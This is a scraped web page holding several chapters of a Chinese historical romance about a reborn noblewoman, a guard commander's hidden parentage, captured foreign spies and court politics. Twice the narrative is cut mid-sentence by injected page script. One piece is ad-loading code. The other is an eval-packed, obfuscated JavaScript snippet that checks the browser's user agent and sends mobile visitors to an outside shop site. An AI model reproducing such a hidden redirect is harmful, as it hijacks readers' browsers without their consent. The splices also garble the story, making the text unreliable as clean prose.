前世那一份送到她手里的叔山梧的庚帖,被自己藏在枕头下面,每晚对着烛火看一遍,直到嫁入平野王府。丈夫的生辰她绝无可能记错。他明明是生于昭宁十七年,比兄长叔山柏小两岁,和自己同岁。 他的生母怎可能在他出生之前便去世了? 郑来仪抬眼看向紫袖:“容夫人她……”话说了一半,便见青霓从外面进来,脚步匆匆跨进门内。 “小姐,外面有人找您。” “谁?” “是……禁军指挥使。” 紫袖一时难以置信:“叔山梧?” 青霓点了点头。两个丫头齐刷刷地看向郑来仪。 郑来仪的手从庚帖上移开,眉梢微挑:“他一个人来的?” 青霓点头:“叔山指挥使说,请小姐出府相见。” 郑来仪冷哼了一声,这人好大的胆子,只身登门国公府,还敢堂而皇之地叫一个未出阁的姑娘出去相见。 若不是郑远持上朝去了,见他如此狂妄做派,一定叫人拎着棍子打他出去。 “母亲没说什么么?” 这也是青霓十分费解的地方:“夫人说,听小姐的。” 郑来仪视线落回一旁案上放着的叔山柏的庚帖。这东西到她手里两日,始终没给父母一句答复,他们始终也不曾催问她。李砚卿知道她和叔山梧的交集,女儿如此消极应对容夫人求亲的态度,在父母亲的眼里反而成了另一种表态,或许因此才没有插手。 前世他们也是这样,在挑选夫婿的事情上纵容自己一意孤行,才最终酿成大错。 郑来仪看着庚帖上叔山柏的出生年月,忽地站起身来:“那我便去会会他。” 37. 身世自悠悠 紫袖连忙转身去拿衣服,在琳琅满目的衣架前犯了难。 “随便什么都行,不用挑了。” 紫袖会错了意,以为郑来仪是迫不及待,笑着问:“那首饰便戴那一套孔雀双飞小山钗吧?” 孔雀双飞。 这名字挑动了郑来仪的神经,她冷笑一声:“孔雀是什么忠贞的鸟么?难道不都是大难临头各自飞?” 紫袖一愣,没接得上话,只听郑来仪沉声道:“首饰都不用了,就这样吧。” 迈出门的脚步一顿,她转身对紧跟在后的紫袖道:“你留在家里,让戎赞暗中跟着就行。告诉母亲,我去去就回。” 紫袖脚步一顿,不无沮丧地应道:“是。” - 叔山梧一身帝释青的襕袍,蹀躞带束出利落的腰身,长发用玉簪束起。他背着手安静地站在国公府门前宽大的石阶下等人,看不出半分武将气场。 这副画面难免引得过路人遐想连篇:这又是谁家儿郎如此风姿明净,来国公府的必定是朝廷要员,也不知婚配否? “指挥使大人有事找我?” 叔山梧转过身,郑来仪背靠着气势磅礴的朱漆大门,在台阶的另一头居高临下地看着他。 “是。” “什么事,说吧。”她站着不动,眸色冷厉。 “姑娘可否同在下去个地方?” 郑来仪皱眉,面上的狐疑一闪而过。阶下的人既无更多解释,也无劝说的意思,只耐心地等她回答。 去就去,难不成还怕你。她转身朝着门内吩咐:“给我牵匹马来。” 叔山梧唇角勾起一抹笑。郑来仪明明看见了他的神情,却佯装未见,由着家丁搀扶上了马,握住缰绳,垂眼看向仍站着的人:“去哪儿?” 叔山梧收敛了笑意,跟着翻身上马:“姑娘请随我来。” “卖什么关子……”郑来仪嘟囔着一扯缰绳。 二人从射金门出,一路向西,脚下的路从宽敞的大道逐渐变得蜿蜒曲折,直到进了拂霄山,郑来仪才有几分猜到他们是要去哪儿。 林木幽深,山泉潺潺,鸟兽鸣叫不绝于耳,拂霄山里凉意沁人,从暑热蒸腾的都城来到这里,让人不觉松弛几分。 山道难行,叔山梧有意放慢了速度,好让身后人跟得上。戎赞借着茂密的丛林,敏捷似猿猴一般,不远不近地一路跟着他们,而叔山梧状若未察,只眉眼间冷笑一闪而过。 “到了。” 叔山梧翻身下马。郑来仪抬头看着霄云寺庄严的院门,一时未动:“为什么来这里?” “有事要说,也有话要问。” 叔山梧答得简单,朝着马背上的郑来仪递出手。她没理会,抓着马背上的鬃毛,慢慢地下了马。这副小心而倔强的姿态,让叔山梧想起青州马场上的那一幕,唇角一勾,将手收了回去。 今日的霄云寺香客不多,悠然的钟声里,二人沿着长廊穿过正院。逐渐靠近通往后山的那一道木门时,郑来仪的脚步迟疑了一下。 “这里是……” 叔山梧转头看她一眼,推开木门,率先迈步出去,在院门外安静地等着她。 陡峭山壁倾斜向上,无数藤蔓从高处倒垂下来,如同天然的绿色帘幕,帘幕后是带着岁月斑驳痕迹的一座座佛像。山壁前只有寥寥两三个衣着朴素的老妇人,正双手合十,跪在一尊高大的观音像前喁喁念祷,姿态虔诚。 叔山梧沿着山壁,几步走到山壁角落那座报身佛前停下,而后转身,朝郑来仪看了过去。 她因这样严肃的气氛而有些发怵,克制着目光不去看他身后那盏莲花灯,脚步踟蹰着,眼神亦是犹豫的。 “神明在上,姑娘有什么好怕的。”他笑了笑,似在激她。 郑来仪深吸一口气,迈出门槛,迎着叔山梧的目光走了过去:“指挥使大人这样杀惯了人的人,竟然信佛。” “我不信佛,但我母亲信。” 她脚步一顿。 叔山梧转过身,面向那尊与他齐高的佛像,佛像面前的长明灯烛火幽微,连日下雨,灯座上沾满了泥土,已经看不清字样。 他从怀中取出一方黑色的布帕,将灯座擦拭干净。 “这是我的生母,安氏。” 郑来仪呼吸放轻。 “她不是汉人,来自西域一个如今已经灭亡的小国,漪兰。” 叔山梧背对着郑来仪,看不见她望向那牌位时眼底涌动着的情绪,恍然与困惑皆有。 “六月初八是我亡母的诞辰,烧尾宴那日我去平野王府,只是想看看他们是不是都还记得……” 他眼神里的落寞一闪而逝,转头看向她时,眸光却在闪动。 “……没想到却再次遇到了你。” 叔山梧轻轻拂开神龛上的落叶和尘土,沉声道:“那时你说的没错。在青州马场时,我得知那舞姬出身漪兰,让我想起了母亲,便想要阻止她犯险……” 郑来仪出声打断:“指挥使大人和我说这些干什么?我又没——” “我没想骗你。” 郑来仪抬头,叔山梧神色认真,深深凝视着她。 她第一次发现,他的瞳孔不是纯粹的黑,而是一种幽深的绿色,不细看时是难以发觉的,此时他们距离很近,她看见他眼睛里的景象,如同夜里蛰伏的猛兽。 她移开视线,一时不知看向哪里,只好落在那盏被擦拭过的长明灯上。 “所以你真的不是昭宁十七年生人……” “容絮说我是昭宁十七年生?”叔山梧挑眉,唇角勾起冷笑,“——我只比阿柏小半个月,是昭宁十五年正月十五出生。” “那为什么……?”郑来仪疑惑。 “一个驻守边关、抗击外侮的将领,怎可娶异族女子为正妻?父亲思及自己前程,在她死后抹去干脆抹去她的存在,转而娶了容氏为正妻,还让我认她为母亲。甚至将我的出生年月也一起改了。” “而我的生母安夙,在生下我之后没多久便抑郁而终,死后姓名未入族谱,甚至连一块自己的墓碑都没有。” 郑来仪嘴角浮起一抹讽笑。前世算命的说,她和叔山梧同岁出生,八字相配,是天作之合,这段姻缘从一开始果然便是错的。 她垂下眼睫,声音很冷:“……为什么要告诉我这个?” 叔山梧向前一步,似乎是想伸手,终究只是握紧了拳头,沉声道:“郑来仪,不要嫁给叔山柏。” “为什么?”她掀眉看他。 “……这样的家族,没有人会付出真心,不值得托付。” 郑来仪笑了起来,眉眼却是冷的:“指挥使大人,也是在说你自己么?” 叔山梧隐忍地看她一眼,想说什么,却抿紧了唇,不知是不是默认。 即使前世他们成了夫妻,彼此之间曾经再紧密无比,郑来仪却从未在他眼中见到过如此刻一般的坦诚。 她突然有些不自在,后退了半步,察觉到靴筒里的东西正硬硬地硌着自己的脚。 曾以为那匕首会是叔山梧勾结异族的证据,费劲心机得到手,却没想到他会如此坦白。她虽然恨叔山梧,但拉他下马的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 办法有很多种,死者为大,不必在逝者身上做文章。 郑来仪弯腰将那把曲柄匕首抽了出来,递过去:“我无意打探指挥使大人的私隐。既然是令堂的遗物,这样珍贵的东西,还是还给你。” 叔山梧没动,她又伸了伸手催他接过。 他不接:“说过送你,就是你的了。” 郑来仪皱眉:“这样不妥——” “没什么不妥的,母亲在此见证,我送出去的东西,没有收回的道理。” 不知哪里来的一阵风,吹得那盏长明灯原本微弱的烛火陡然盛旺,仿佛是有魂灵在附和着叔山梧的话。 郑来仪拧着眉看他,而他态度坚决,不可撼动。她僵持的劲头终于松懈,握着匕首的手垂了下去,暂且放弃了僵持。 “既然是你的东西,留着也好,嫌碍事扔了也罢,都随你。”叔山梧颇为大度地道。 她哼了一声:“你母亲看着,我要扔也不会扔在这里。” 叔山梧的心机被戳破,笑了起来。他真心开怀的时候的笑容很好看,像打透阴翳的一缕阳光,只是这样的时候并不常有。 鸟儿成群飞入山林,暮色在不知觉间降临,带着凉意的风将郑来仪的衣裙吹起,叔山梧抬头看了看天:“不早了,走吧。” 两骑马缓缓行走在曲折的山路上,依旧是一前一后,和来时一样的情形。幽深的山林里寂静无声,一时间连鸟兽虫鸣都听不见了。 始终在前开道的叔山梧突然停住了。郑来仪不知缘故,也勒马停了下来,“怎么了?” “和姑娘一道的人呢?” 郑来仪一怔,而后些许不自然道:“什么人?不知道你在说什么。” 叔山梧看她一眼:“姑娘不觉得,这林子里安静得有些诡异么?” 仿佛是佐证一般,他话音未落,林中便传来一声枭鸟空灵的鸣叫,除此外再无任何动静。 郑来仪转头四顾,二人此时正在一条前不见头后不见尾的碎石山道上,周遭除了森然的树影,看不见任何活物。 她让戎赞跟着自己,但若是寻常情况,她想要找到他时,只要稍微留心便能发现蛛丝马迹,来时他一路跟着她都能够察觉,可此时却并无半分第三人的气息。 郑来仪心头不免瑟缩,下意识地夹了下马腹,向叔山梧靠近了些。 “你那名图罗近卫,来时一路跟得还算紧,眼下却不知去了哪里。” “你——”郑来仪要反驳,却意识到凭借叔山梧的警觉,不可能对戎赞的存在一无所察,放弃了抵抗,“你什么时候发现的?” “大约是……在青州的时候?他跟踪决云,两人还交了手,难道他没有向你禀报?”叔山梧抱着臂,好整以暇地点评,“——姑娘这近卫实在有些不够称职。” 郑来仪撇了撇嘴,她对此一无所知。但能够猜到戎赞性子骄傲,应当是在交手中落于下风,才不愿和自己提及,当下放弃伪装,扬声:“戎赞。” 除了一丝风声,无人应答。 叔山梧眉眼间的闲适散去,姿态莫名绷紧了许多。 “看来这小子不是贪玩,”他转头看向郑来仪,“在这里等着别动,我去去就来。” “你去哪——” 郑来仪话音未落,叔山梧已经从马背上纵身跃起,迅捷的身影如鹰消失在密林深处。 天色益发暗了下去,郑来仪无数次地看向叔山梧消失的方向,面色难掩焦虑。 不知过去多久,似乎有动静从林中传来,她仔细分辨,是刀兵相接的声音,混杂着男人痛苦的嘶吼。 38. 胡马度阴山 郑来仪神色一凛,立即翻身下马,朝着声音传来的方向飞奔。 没有跑出多久,熟悉的身影便出现在视线中。林中空地上,两个戎服士兵正一左一右地夹击着一人,被合力攻击的人赤手空拳,背对着她——正是叔山梧。 她的目光落在一旁的大树下,那里坐着一人,低垂着头看不请脸,但衣服是熟悉的。 “戎赞!” 戎赞猛地抬起头来,而叔山梧也听见她的声音,二人一齐出声。 “别过来!” “别过来!阿姐!” 郑来仪看清戎赞的右腿受了伤,被匆匆包裹过,血已经将衣裤染成深褐色。他狠狠地冲郑来仪摇头,让她不要靠近,而后满脸焦虑地看向林中正热的战局。 叔山梧手无寸铁,而对面的二人却似乎对他十分忌惮。郑来仪正在疑惑这二人究竟来自那支部队,怎么会对身着禁军服制的叔山梧大打出手,却听见他高声喊了句什么。 是异族语言。 戎赞的表情顿时复杂,似是听懂了他的话。郑来仪心中一动。难道这二人是图罗奸细? 果然,那两名身着大祈士兵服饰的男子面泛凶光,其中一人粗着嗓子对叔山梧喊话,一边喊着,一边持着刀向他冲了过去。 叔山梧身形沉稳,一时没有任何动作,有那么一瞬,郑来仪都以为他是被吓住了,偏偏在那刀锋袭至面门的一刻,他迅疾转身,敌人眼前一花,手中的兵刃便被劈手夺了下来。 叔山梧在二人身后站定,反手执刀,冷笑着说了句:“连刀都不会握,如何装得像?” 大祈军中配备的陌刀重十五斤,刃长三尺,柄长四尺,下用铁钻,那两个图罗奸细用惯了短刀,对这样大型的兵刃根本无法招架,叔山梧早就看出敌人的窘迫,轻而易举地空手夺刃。 被夺了刀的一人满脸涨得通红,叽哩哇啦一阵怪叫,他的同伴则二话不说,双手提着刀冲上前来。 郑来仪悬着的心放回了肚子里,她可以确定这二人绝无可能是叔山梧的对手。果然没有几个回合,两个身高八尺的图罗壮汉就被按倒在地。 她只是有些意外,按照叔山梧的性子,敢与他为敌死相不会好看。可是当下他并没立刻要他们的性命,只是将二人双手反剪,利落地在他们后心分别戳了两下,二人顿时满头大汗,神色痛苦,却叫不出声来。 郑来仪走到戎赞面前,蹲下身子查看他伤势:“还在流血,有药么?” 戎赞点头,面上的羞愧多过痛苦:“我没事的,阿姐……” “这到底是怎么回事?”郑来仪的视线移向不远处被捆缚住手脚的两人,面色复杂。 “他发现了这两名伪装的图罗奸细,好心劝二人离开,他这两个同胞假意顺从,突然反目从背后偷袭……” 郑来仪站起身,叔山梧活动着手腕,朝二人走了过来。 “其实姑娘这位近卫身手不错,这两个蠢货本来不应是他的对手。只是一时仁慈,难免被蒙蔽。” 戎赞脸色一红,梗着脖子用图罗语嘟哝了一句什么。 叔山梧闻言轻笑一声,而后眉眼冷厉地回答:“向你挥刀的人,不是敌人又是什么?若他们的目标是你的阿姐,你还会手下留情么?” 戎赞一滞,不无心虚地看向郑来仪。 郑来仪朝那两个手足被困的图罗人走了过去。两人神色痛苦,被叔山梧点中穴道后浑身酸麻,苦于叫不出声,已经出了一头的汗。她的视线移向他们身着的戎服,平巾帻,紫补裆,大口裤,锦媵蛇——她只觉得没来由地眼熟,却一时想不起在哪见过。 叔山梧弯腰捡起两把陌刀,看一眼手柄,神色冷峻。 郑来仪意识到什么,走上前,拿过他手上其中一把,仔细分辨上面的错金铭文。 「昌顺元年,槊方节度府造锷,刀匠苏四等造,专当参军事王某」 她的心头一坠,意识到这两个图罗奸细身着的是槊方军的服制。 陌刀上记载着兵刃制作的时间、地点、参与的工匠及监管的官员,绝无可能作伪。他们能堂而皇之地混进关内,必是槊方那里出了问题。 她下意识地抬眼看向叔山梧。 叔山梧从她手中抽回刀,冷静道:“图罗人已经混进中原,这两人绝不会是最后的两个。先让戎赞陪你回去,这两个人我需要带走。” 他看向坐在树下的戎赞:“小子,还能骑马么?” “当然能!我没事!”戎赞一脸倔强,随即扶着树便站了起来。 叔山梧笑了笑,从蹀躞带上解下一样东西,放在郑来仪手里。她低头一看,是禁军指挥使的腰牌。 许是为了照顾戎赞的自尊,他朝郑来仪倾身,压低几分声音,姿态莫名有些亲近:“这小子在逞强,骑马没问题,其他的不能指望。你拿着令牌,山脚便有禁军的人,让他们送你们回去。” 郑来仪看着那枚腰牌,一时有些犹豫。 她不想拿叔山梧的令牌,可眼下天已黑透,经历方才这一场,这郊野之地已是草木皆兵,心中的害怕也不是没有道理。 叔山梧对如何说服她十分在行,他看一眼戎赞:“快拿着,那小子的血没有完全止住,回去以后腿伤还需要静养。耽误了治疗便可惜了。” 郑来仪咬咬牙,把令牌收在怀里。又看了那两名图罗士兵一眼:“若槊方……” 叔山梧明白她在想什么,语气不再委婉:“奸细进入京畿绝非小事,他们会经历最严酷的拷问。但不管结果如何,槊方已经几度失误,眼下又有勾结异族的嫌疑,只能自求多福。” 听到“勾结异族”四个字,郑来仪下意识摇头:“不,舅舅不会的。” 叔山梧神色冷酷,看向地上委顿的那两个奸细,眸中寒意森然,如同换了一个人。 她心神一凛,不再多说什么,带着戎赞迅速离开。 - “这个虢王兄!朕已经想不起来,上一回槊方报回来好消息是甚么时候了!!” 怀光帝将手中的奏折一扔,十几张折页的文书在空中划过一道弧线,承载着圣人的汹汹怒气,“啪”一声摔到了地上。 集英殿内跪了一地,落针可闻,就连郑远持也乖觉地选择了闭嘴。 “朕顾及他精力有限,让进明替他去管肃州,他倒好!一个堂堂的亲王,驻守一方的大将,心眼比个针鼻子还要小!把强兵壮马全部带走,只给后任留了——” 皇帝停顿了一下,埋头在案头上翻找了一番,找出一本压在下面的奏折,怒气冲冲地翻开,念着上面弹劾的奏文,“——所留者拣退羸兵数千人、劣马数百匹,不、堪、扞、贼!!1” 下面跪着的杜昌益 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“青云,你任奉州节度已有月余,朕想问问,驻边将领报喜不报忧的心态是何原因?” 众人纷纷地看向角落里的叔山寻。 只见他抬起头来,镇定自若地答:“回陛下,恕末将难以回答。” 怀光帝皱眉,众人也跟着为叔山寻捏一把汗。 “——在末将来看,边情无小事,报忧是必须,报喜则不必着急。是故对这种报喜不报忧的心态,实在难以理解。” 叔山寻冷静地看着皇帝,“末将此次奉昭回都叙职,亦是为了北境图罗异动一事。现在看来,槊方至奉州一线,均有图罗人虎视眈眈,朝廷不得不防。” 怀光帝深以为然,感叹道:“为何虢王就是想不明白这个道理!北境一线,牵一发而动全身,他总看着自己怀里这一亩三分地,实在短浅!” 他看向郑远持:“惟宰,依你之见,槊方一事应当如何处理?” 郑远持缓缓道:“依老臣所见,不若中央派监军赴槊方,对驻军的屯戍、训练和驻边事务进行督查,查知问题后方能有的放矢。” 这个折中的方法显然更符合皇帝的心意,他一拍桌案:“好!就这么办!这监军人选,爱卿以为何人合适?” 所有人的目光都注视着郑远持,他沉思半晌,朗声道:“监军由中央派遣,又需熟悉行军作战,不若从禁军中擢选——” 郑远持的目光在叔山寻的背影上停了一停,“——就派禁军指挥使叔山梧去往槊方,陛下以为如何?” 叔山寻笔挺的后背似乎僵住了。 39. 当逢薄幸人 平野郡王府,花厅。 叔山寻奉昭回都已满七日,明日便要回返程回奉州驻地。容氏亲自准备晚食,为丈夫送行,案上摆满了丰盛佳肴,一家三口却气氛压抑。 “向郑国公府求亲一事,先作罢吧。”叔山寻搁下筷子,突然来了这么一句。 容氏讶然看向丈夫:“为何?” “照办就是,不用问那么多为什么。” 容氏面色有些难堪,叔山寻很少在大郎面前用这种语气和自己说话,但她终究还是笑了笑,柔声道:“这也不是妾能做主的事,倘若国公府看上了大郎,难道我们还拒绝么?” 叔山寻冷哼一声:“国公府收你的庚帖,已经是高看你一眼,几次三番低声下气去倒贴,难道你看不出人家只是出于礼貌应付你一番?还真当自己能和他郑远持门当户对了!” 容氏一滞,被丈夫尖刻的话语刺激得立时红了眼,强忍着才没在儿子面前落下泪来。 叔山柏伸手握住容氏的手,温声道:“母亲不要多心,父亲此言并没有旁的意思,郑国公于我叔山氏是敌是友,到底难说。儿听说,今日郑远持在朝上还刻意针对我们,举荐阿梧去槊方监军——这样难办的差事,他偏偏当着父亲的面向皇上推荐,让人难以推辞,可见居心之险!” 叔山寻面色阴沉。 容氏却并没有被叔山柏的言语安慰到半分,她不无心疼地看着儿子:“二郎他自幼离家,从未在你父亲跟前尽过孝,如今入了禁军,在玉京城风头出尽,事事高过你一头!大郎,你从小心善,人家是不是把我们忘了都未可知,你却事事设身处地为他着想……” 叔山柏一脸不以为然:“母亲此言诧异,我和二郎既为手足,是一荣俱荣、一损俱损。他虽然是四品中郎将,可要知道那禁军水深,里面尽是些有背景的纨绔子弟,加上袁少监那么一个上司,这份差事并不好做。我在礼部虽官阶不比二郎,却是与各国交往的要害位置,在圣人面前出头露面的机会也多,来日于父王也是大有助益的。” 叔山寻面色温和不少,他拍了拍叔山柏的肩膀,没说什么,可眼神中赞许之意明显。 叔山柏又道:“倘若真与郑国公府无缘,也不必强求,难不成母亲还担心儿找不到合意的新妇?” 容氏仍有些不甘心:“可是我看那李夫人明明对你印象不错……” 她听说老爷回来那日,其实是二郎陪着一道进的城,两个人都走到大门口了,叔山梧最终还是没进门。而叔山寻回来这几日,每日都是面色阴沉,不曾对他们母子露出过一次笑脸。 她看了丈夫一眼,强忍了半晌,终于还是叹一口气,幽幽道:“若不是母亲拖累了你,你本该有更好的前程……” 叔山柏皱眉:“母亲这是什么话——” 话音未落,只听“啪”的一声,叔山寻将手中的筷子拍在了桌上。 “父亲……”叔山柏一脸愕然的看向叔山寻。 “茂郎,你先出去。” “爹——?” “出去!”叔山寻低吼出声。 叔山柏只好从席上起身,不无担忧地看一眼冷面对坐的二人,缓步离开了花厅。 “……妾早就知道,老爷从来对我没用过真心。”紧绷的气氛中,容絮幽幽地开口。 她如同换了一个人,面上的哀怨不见了,唯余平静。 “你当着大郎的面说这样的话,真有一丝作为母亲的自觉么?” “难道妾说错了?” 叔山寻眉头紧蹙,看向容絮:“你什么意思?” “老爷一直还当我是夫人身边的丫鬟絮儿,有几分姿色,却满腹心机,趁着主子不在勾引您,对不对?” 叔山寻脸色铁青,眉间愠怒一闪而过:“你……怎敢提她……” 容絮苦笑,低声道:“妾连提都不配么?” 她抬眼看着叔山寻,“您这么想,二郎也是这么想的。十九年来,他不曾喊过我一声‘母亲’,甚至不曾正眼看过我一眼,他只当我是个逼死主人,趁机上位的贱婢!”她的声音陡然尖利。 “你闭嘴——” 容絮没有闭嘴,甚至没有被叔山寻的怒气吓到,只是死气沉沉地继续喃喃着。 “可是妾有什么错?您远征漪兰,是夫人担心您,让我去给您送避寒的衣物。妾孤身一人穿过大捷后狂欢的营地,怕得要死,那些醉酒的士兵一个个流着口水看着我,我只能冲进主将的帐中寻求您的庇护,可是……” “别说了!”叔山寻低吼出声。 那个夜晚,被他视为一生的污点。 蒲昌海的冬夜滴水成冰,他率领的大军以少胜多,一举攻入漪兰都城,生擒漪兰国主,将他的头颅砍下挂在营地的旗杆上。数月以来枕戈待旦的兵士们乍然放松,彻夜饮酒高歌狂欢。 而他在这样的氛围中,独自一人坐在主将营帐里,心情复杂地喝下了一斛又一斛离人醉。 絮儿就是这时闯进了他的营帐,他的眼中只有一道窈窕的虚影,他将人一把搂住,口齿不清地喊着另一个名字,那是他的妻子,他唯一的挚爱。可他们立场不同,他带兵灭了她的故国,屠尽了她的同胞。 烛火摇晃的营帐里,叔山寻将容絮压倒在床榻上,口中始终喃喃喊着“阿夙,对不起”。 他不知道的是,自己带兵出征前安夙已经有了身孕。而时隔不久,千里之外前线战场上的一个庆功夜,她的婢女又怀了他的孩子。 命运是如此讽刺,这两个孩子先后降生,相差只有十五天。而阿柏偏偏是大一些的那个。 安夙诞下阿梧后不久,便在抑郁中离世。 在叔山梧出生后,叔山寻几乎没怎么亲手带过这个儿子,他看见二郎那双眼睛便会想起安夙,在儿子提出要离家从军时,他竟然暗自松了口气。 他对这个儿子有种莫名的怨恨——安夙是一个坚韧的人,若不是因为有了阿梧,或许她根本不会死。 当然,他最恨的还是自己。 他紧攥着拳头,骨节发白,脸色从青到白,一时说不出话。 “妾清楚妾在这王府中的身份,说到底,我不过是个下人,也不奢求二公子能正眼看我,” 容絮看着叔山寻,语气依旧平静,平日里温柔小意的模样却不见了,“——但茂郎也是您的儿子,您不能亏待了他。” 叔山寻紧咬牙关,看着乖顺的妻子与他平静地讲价,形如陌路。 “我知道,老爷是想让叔山梧去与国公府联姻。茂郎他高风亮节,从不与他弟弟争抢,但他的婚事,妾绝对不会坐视不管。” “茂郎他是凭借自己的能力到了今天的位置,他不曾借助到半分你这个父亲的东风。妾只愿老爷往后遇到任何事,不会只想着牺牲大郎。” “毕竟,他或许是老爷百年之后,唯一会为您供奉香火的人。” 容絮冷冷说完,从案边起身,再不看丈夫一眼,转身离开。 - 郑国公府,荷安院。 “香兰,我给哥儿准备的那个防毒虫的香包呢?记得是放在这箱子里的,怎么找不见了……” “还是把那两身缭绫的汗衫都带上,好有个替换……哎呀,也不知道两身够不够……” 方花实满屋子转,口中还不停絮叨着,郑成帷站在一旁看着,满脸的哭笑不得。 “我是去槊方,不是去岭南,没有那么多蛇虫鼠蚁的,还有那衣裳都是军中配发的,您给我带那么多,我也不好拿,还让人笑话……” “笑话什么?有什么好笑话的??” 方花实一瞪眼,“你还不曾怎么离开过玉京,那北境之地贫瘠苦寒……”她说着说着有些伤感,拿帕子按了按眼角。 郑成帷走到她面前,语气软了不少:“小娘,我已经十八了,好男儿志在四方,当然要出门闯一闯才是正道!” 方花实看着眼前高高大大的儿子,伸出一根手指,点了点他的脑门:“别人家的儿郎听说要去槊方,都躲得远远的,只有你自告奋勇那么傻!” 郑成帷摇头:“北境不安,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13736835|138619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圣人一块心病,将此重任交给禁军,正是建功立业的好机会,连父亲都赞同我的主张!” 他见方姨娘面色未有丝毫和缓,冲她眨了眨眼,“再说了,槊方还有舅舅在,儿不会缺人照顾的,您就别担心了!” 方花实叹一口气,握住郑成帷的手:“此去槊方虽不算远,却是桩复杂官司,你舅舅眼下……总之,你切记,遇事切莫强出头,有问题自有上官去挑,知道么?” “知道啦!”郑成帷笑道,“您和父亲怎么都说一样的话?” 方花实神色复杂,想来郑远持举荐那叔山梧任监军时,没想到会把自己儿子也搅入局中。朝廷点拨的百人队伍中,郑成帷作为监军佥事,辅助叔山梧。以她的妇人之见,此行不求有功,但求无过便可。但一腔热血的郑成帷显然不是这么想的。 “好啦!您别担心了,我心里有数,在外会照顾好自己的!”郑成帷挽着方花实的手,推着她走到廊下,正遇到郑来仪从长廊那边过来。 方花实不无感叹道,“你四妹妹还想着来送送你,看看绵韵,亲哥哥要出征,都没个动静……” “姨娘这话,椒椒可替她委屈了,昨天我就陪绵韵来过了!如今她也是定了亲的人,您老这么排揎她可不好啊……”郑来仪上前搀住了方花实的手。 方花实闻言一滞,儿眼下要去前线,女儿不久也将嫁做人妇,又是一阵悲从中来。 她看出四丫头来找郑成帷有事,也没在孩子面前多表现出来,拍了拍郑来仪的手,微笑道:“你和二郎说话吧,我去厨房看看去~” 郑成帷看着方姨娘的背影消失在长廊尽头,这才转头:“椒椒有什么事,说吧。” 郑来仪看了兄长一眼,却没立时说话,只提步朝着庭院中心的水榭上去。二人一前一后进了凉亭。 盛夏时节,满池的荷花怒放,菱叶萦波,莲叶田田,一阵阵香风扑面。 “哥哥,那两个图罗奸细,拷问出什么来了么?” 郑成帷摇了摇头:“大理寺将各种刑都用过一遍,那二人嘴紧得很,半个字都没吐。” 他见郑来仪面色沉郁,拍了拍她的肩,安慰道:“我知道你在担心什么,那两个人并未牵扯到槊方,我相信舅舅也绝无可能做出勾结外敌的事情!” 郑来仪心中只是忧虑更甚。 那二人倘若真的攀咬起朔方节度,她反而能松一口气,这样宁死不招认的行径,只会让人觉得他们是在保护着谁。 但她没说什么,只是点了点头:“我也相信舅舅。” “好啦!难道你也和小娘一样,是来给我打包上十七八件行囊上路的么?”郑成帷见妹妹声音低低的,便玩笑着逗她,却见她真的从袖中掏出一样东西。 “哥哥能否帮椒椒一个忙——”郑来仪掌心摊开,伸到郑成帷面前,“把这个,还给你们指挥使,行么?” 郑成帷看着她手上那枚禁军指挥使的腰牌,面露狐疑:“这……这腰牌,怎么会在你手里?” “说来话长,回头再说吧……你们同在禁军,帮我还给他吧?”郑来仪皱着眉,又朝前伸了伸。 郑成帷却背着手,后退一步:“指挥使的腰牌,我们是不能擅动的,你从哪里拿来,就还回哪里去吧。” 郑来仪看出兄长眼中的促狭,瞪了他一眼,把腰牌收回,转身往回走。 “所以这腰牌,真是叔山梧亲手给你的?” 郑成帷好奇心被勾起来,跟在郑来仪后面追问。她脚步不停,一个劲地往回走。 “我还以为兄长跟那些整日好打听的长舌妇不一样,看来是椒椒看错了!” 郑成帷哭笑不得:“我怎么就长舌妇了,不是关心你嘛……” 郑来仪脚步一定,转头气鼓鼓地道:“兄长不帮我忙,下次需要我的时候,我也不帮你!” “哎——椒椒,兄长不是不帮你,实在是我们指挥使平日里总是独来独往,我也很少见到他呀!” 郑来仪压根不想听他的辩解,脚步如风地出了荷安院。 40. 绕腕双跳脱 天气闷热的午后,贾二缩在北衙司的门房里打着瞌睡。 外面蝉鸣一声高过一声,他烦得不行,猛地站起身来,提起靠在墙边的长枪就往外面冲。 正遇上从外面进来的长史官,一把扯住了:“嘿!干什么去?!” “哟,大人!这知了吵的人心烦!小的这不是想着去把这些鸟虫子都粘下来!” 长史乐了,笑骂他:“朝廷配发的兵刃,是让你这么用的么?去,换竹竿去……” 贾二挠了挠头,正要转身,突见阶下头过来一人,视线一时发直。 长史疑惑转身,却见一个双髻绾云容颜似玉的少女正朝他们过来。他看这姑娘通身的服饰气质,绝不是简单出身,语气也不由得放缓:“姑娘,您是?” 郑来仪不欲自报家门,直截了当地问:“……你们指挥使在不在?” 长史和贾二交换了一个眼神,而后不无歉意道:“哟,不太巧,指挥使大人上午去了北宫门巡防,这会还没回来……” 郑来仪犹豫了一会,只道:“你们指挥使大人有样东西在我这儿,帮我交还给他,行么?” 说着伸出手,拿出用帕子裹好的腰牌,递到长史官面前。 “这——恐怕不大妥……” 长史官面色有些犯难。 一来这小姐未报家门,上来就要留东西给指挥使,若真是暗度陈仓眉目传情,还算是小事,若是什么毒药机关一类的东西,要刻意加害于上官,他收下就成了共犯。 虽然眼前这小姐看上去不像是居心叵测的,可如今大祈不太平,北衙六军尤其是许多人眼红不已的对象,他不敢犯这个险。 